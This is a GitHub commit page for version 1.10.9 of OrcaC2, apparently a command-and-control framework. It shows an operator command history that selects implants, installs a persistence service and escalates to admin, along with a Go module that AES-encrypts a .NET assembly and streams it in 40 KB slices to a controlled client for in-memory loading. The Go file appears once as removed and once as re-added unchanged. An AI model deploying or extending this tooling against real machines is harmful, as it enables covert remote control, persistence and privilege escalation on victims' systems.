Skip to content

Commit 8e11fd2

Browse files
committed
OrcaC2 1.10.9
1 parent 385455a commit 8e11fd2

File tree

109 files changed

+10104
-9558
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

109 files changed

+10104
-9558
lines changed

Orca_Master/.orca-history

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
ls
2+
lls
3+
ls
4+
select 1
5+
persist service -n ggg
6+
ls
7+
select 1
8+
persist service -n ggg
9+
persist service -n ggg -s
10+
l
11+
ls
12+
info
13+
ls
14+
select 2
15+
info
16+
getadmin
17+
ls
18+
select 3
19+
info
20+
ls
21+
select 1
22+
close
23+
ls
24+
select 2
25+
select 1
26+
info
27+
getadmin
28+
select 2
29+
getadmin
30+
ls
31+
select 3
32+
info
33+
ls
34+
close
35+
select 2
36+
close
37+
ls
38+
select 1
39+
close
Lines changed: 96 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -1,96 +1,96 @@
1-
package assemblyopt
2-
3-
import (
4-
"Orca_Master/cli/cmdopt/fileopt"
5-
"Orca_Master/cli/common"
6-
"Orca_Master/define/colorcode"
7-
"Orca_Master/define/config"
8-
"Orca_Master/tools/crypto"
9-
"Orca_Master/tools/util"
10-
"encoding/json"
11-
"fmt"
12-
"github.com/tj/go-spin"
13-
"io"
14-
"os"
15-
"path/filepath"
16-
"time"
17-
)
18-
19-
const SliceBytes = 40 * 1024 // 分片大小
20-
21-
type AssemblyMetaInfo struct {
22-
Fid string // 操作文件ID,随机生成的UUID
23-
FileName string // 程序名
24-
SliceNum int // 基础分片数量
25-
SliceSize int64 // 基础分片大小
26-
RemainSize int64 // 剩余分片大小
27-
}
28-
29-
// 获取程序集元信息,并加密
30-
func GetAssemblyMetaInfo(uploadFile string) string {
31-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32-
_, filename := filepath.Split(uploadFile)
33-
sliceSize := int64(SliceBytes)
34-
assemblyMetaInfo := AssemblyMetaInfo{
35-
Fid: util.GenUUID(),
36-
FileName: filename,
37-
SliceNum: sliceNum,
38-
SliceSize: sliceSize,
39-
RemainSize: remainSize,
40-
}
41-
metaInfo, err := json.Marshal(assemblyMetaInfo)
42-
if err != nil {
43-
return ""
44-
}
45-
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46-
return data
47-
}
48-
49-
// 发送程序集元信息
50-
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
51-
sendUserId := common.ClientId
52-
msg := "assemblyLoad"
53-
data := metaData
54-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
55-
return retData
56-
}
57-
58-
// 发送程序集分片数据
59-
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60-
sendUserId := common.ClientId
61-
msg := "assemblySliceData"
62-
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
64-
return retData
65-
}
66-
67-
// 发送文件
68-
func SendFileData(clientId string, uploadFile string) {
69-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70-
sliceSize := int64(SliceBytes)
71-
pUploadFile, _ := os.Open(uploadFile)
72-
defer pUploadFile.Close()
73-
s := spin.New()
74-
s.Set(spin.Box2)
75-
currentTime := time.Now().Format("2006/01/02 15:04:05")
76-
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77-
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78-
for i := 0; i < sliceNum; i++ {
79-
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80-
sliceData := make([]byte, sliceSize)
81-
_, err := pUploadFile.Read(sliceData)
82-
if err != nil && err != io.EOF {
83-
panic(err.Error())
84-
}
85-
SendAssemblySliceMsg(clientId, sliceData)
86-
}
87-
// 处理最后一个分片
88-
sliceData := make([]byte, remainSize)
89-
_, err := pUploadFile.Read(sliceData)
90-
if err != nil && err != io.EOF {
91-
panic(err.Error())
92-
}
93-
SendAssemblySliceMsg(clientId, sliceData)
94-
fmt.Println()
95-
96-
}
1+
package assemblyopt
2+
3+
import (
4+
"Orca_Master/cli/cmdopt/fileopt"
5+
"Orca_Master/cli/common"
6+
"Orca_Master/define/colorcode"
7+
"Orca_Master/define/config"
8+
"Orca_Master/tools/crypto"
9+
"Orca_Master/tools/util"
10+
"encoding/json"
11+
"fmt"
12+
"github.com/tj/go-spin"
13+
"io"
14+
"os"
15+
"path/filepath"
16+
"time"
17+
)
18+
19+
const SliceBytes = 40 * 1024 // 分片大小
20+
21+
type AssemblyMetaInfo struct {
22+
Fid string // 操作文件ID,随机生成的UUID
23+
FileName string // 程序名
24+
SliceNum int // 基础分片数量
25+
SliceSize int64 // 基础分片大小
26+
RemainSize int64 // 剩余分片大小
27+
}
28+
29+
// 获取程序集元信息,并加密
30+
func GetAssemblyMetaInfo(uploadFile string) string {
31+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32+
_, filename := filepath.Split(uploadFile)
33+
sliceSize := int64(SliceBytes)
34+
assemblyMetaInfo := AssemblyMetaInfo{
35+
Fid: util.GenUUID(),
36+
FileName: filename,
37+
SliceNum: sliceNum,
38+
SliceSize: sliceSize,
39+
RemainSize: remainSize,
40+
}
41+
metaInfo, err := json.Marshal(assemblyMetaInfo)
42+
if err != nil {
43+
return ""
44+
}
45+
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46+
return data
47+
}
48+
49+
// 发送程序集元信息
50+
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
51+
sendUserId := common.ClientId
52+
msg := "assemblyLoad"
53+
data := metaData
54+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
55+
return retData
56+
}
57+
58+
// 发送程序集分片数据
59+
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60+
sendUserId := common.ClientId
61+
msg := "assemblySliceData"
62+
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
64+
return retData
65+
}
66+
67+
// 发送文件
68+
func SendFileData(clientId string, uploadFile string) {
69+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70+
sliceSize := int64(SliceBytes)
71+
pUploadFile, _ := os.Open(uploadFile)
72+
defer pUploadFile.Close()
73+
s := spin.New()
74+
s.Set(spin.Box2)
75+
currentTime := time.Now().Format("2006/01/02 15:04:05")
76+
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77+
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78+
for i := 0; i < sliceNum; i++ {
79+
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80+
sliceData := make([]byte, sliceSize)
81+
_, err := pUploadFile.Read(sliceData)
82+
if err != nil && err != io.EOF {
83+
panic(err.Error())
84+
}
85+
SendAssemblySliceMsg(clientId, sliceData)
86+
}
87+
// 处理最后一个分片
88+
sliceData := make([]byte, remainSize)
89+
_, err := pUploadFile.Read(sliceData)
90+
if err != nil && err != io.EOF {
91+
panic(err.Error())
92+
}
93+
SendAssemblySliceMsg(clientId, sliceData)
94+
fmt.Println()
95+
96+
}

0 commit comments

Comments
 (0)